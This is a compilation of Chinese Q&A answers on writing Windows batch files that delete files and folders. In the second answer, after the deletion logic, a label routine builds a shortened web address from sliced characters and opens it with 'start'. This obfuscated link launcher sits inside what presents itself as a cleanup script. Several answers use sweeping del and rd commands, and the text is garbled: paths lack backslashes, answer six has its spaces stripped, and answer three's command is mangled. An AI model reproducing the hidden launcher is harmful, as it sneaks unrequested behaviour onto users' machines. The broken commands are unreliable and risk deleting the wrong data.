刪除文件夾文件批處理
『壹』 怎麼批處理刪除某一文件夾中的文件
DOS命令刪除某文件夾下所有文件是很容易的。甚至不需要批處理。
但是DOS命令組成的批處理無法做到「定期」。這需要在DOS下通過編程調用時間函數等等,遠超出了批處理的功能。
如果你是在WINDOWS下用這個方法來定期清理某文件夾,這就容易多了。
1、打開記事本程序,在其中寫入以下命令。
del x:\y\*.* /s /q (x為你想操作的盤符,y為你想操作的文件夾名)
exit
2、保存此文件為.BAT或者.CMD文件。
3、使用控制面板中的「計劃任務」,設定一個時間運行此批處理文件。
4、更簡單的辦法:把這個.bat 或.cmd文件放在開始菜單中的「啟動」項中。這樣,每次開機的時候就會執行一遍
『貳』 批處理刪除文件夾下所有文件和文件夾,但是排除包含「勿刪」字樣的文件夾,該怎麼寫
@echo off & title 刪除所有文件/夾(特定文件夾需保留) By 依夢琴瑤
cd /d "%%~dp0"
::設置要處理的主目錄路徑
set ScrFolder=D:AAA
::設置要排除包含的字元,多個字元之間,請用英文逗號隔開,包含空格,特殊字元的請用英文雙引號將其括起來
set SkipStr=勿刪
cd /d "%ScrFolder%"
for /f "delims=" %%a in ('dir /ad-h') do (
for %%i in (%SkipStr%) do (
echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"
)
)
for /f "delims=" %%a in ('dir /a-d-h') do (
del /f /q "%%~a"
)
pause
call :GVME
exit
:GVME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
腳本保存時請比對原文,保存編碼設為ANSI。否則可能會導致腳本運行出錯。
『叄』 批處理刪除文件夾下所有文件
批處理刪除文件夾下所有文件的方法:
1、電腦上新建一個文件夾,新建一個「TXT」文件,並命名;
2、點擊右鍵,把文件的後綴名設置為.bat;
3、另新建文件夾和文件,作為列出的示例;
4、右鍵打開文件,第一行輸入「del 、q、a、fC:、Users、Administrator、Desktop、新建文件夾、a」作為命令行;
5、第二行輸入「pause」作為暫停顯示的命令;
6、保存後雙擊運行bat文件,即可刪除目標路徑下的所有文
『肆』 怎樣用批處理刪除指定目錄下某個文件夾和文件以外的所有文件
這是一個例子用一個批處理達到保留所有doc 和txt 文件,刪除除這兩種類型文件以外的所有文件和文件夾@echo off
for /f "delims=" %%i in ('dir i: /a-d /b /s') do (
if not %%~xi==.doc (
if not %%~xi==.txt (
del /s /a /q "%%~si"
)
)
)
::刪除空目錄
for /f "delims=" %%j in ('dir i: /ad /s /b') do rd "%%~sj"
pause
『伍』 寫個批處理刪除指定文件或指定文件夾
使用的是del命令+rd命令,先刪除文件,在進入相應文件夾刪除文件夾下的文件夾,如下:
del /f /s /q C:UsersdellAppDataLocalTemp*.*
cd C:UsersdellAppDataLocalTemp
rd /s /q C:UsersdellAppDataLocalTemp
(5)刪除文件夾文件批處理擴展閱讀:
del命令參數說明
/F:強制刪除只讀文件。
/S:從所有子目錄刪除指定文件。
/Q:安靜模式,刪除全局通配符時,不要求確認。
/A:根據屬性選擇要刪除的文件。
刪除指定屬性或指定屬性以外的文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、 /A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。
例如:
「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件。
不知道文件是什麼屬性,那麼使用del /a即可。
del /a /f /s desktop.ini 搜索當前目錄下的所有子文件夾,並刪除指定文件
del temp* /q /f /s 將直接刪除本目錄的temp 目錄的所有文件,沒有任務提示
『陸』 如何用批處理刪除指定文件夾以及文件里所有文件
@echooff
for/f"tokens=2delims=="%%iin('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
for/f"delims="%%jin('dir/s/b/ad"%%i"^|findstr/x"A"')doseta=%%j&&gotonext
)
echo文件不存在!
pause>nul
:next
rd/s"%a%"
pause>nul
樓主是想全盤查找指定的文件夾然後再刪除對么
把A改成文件夾名就行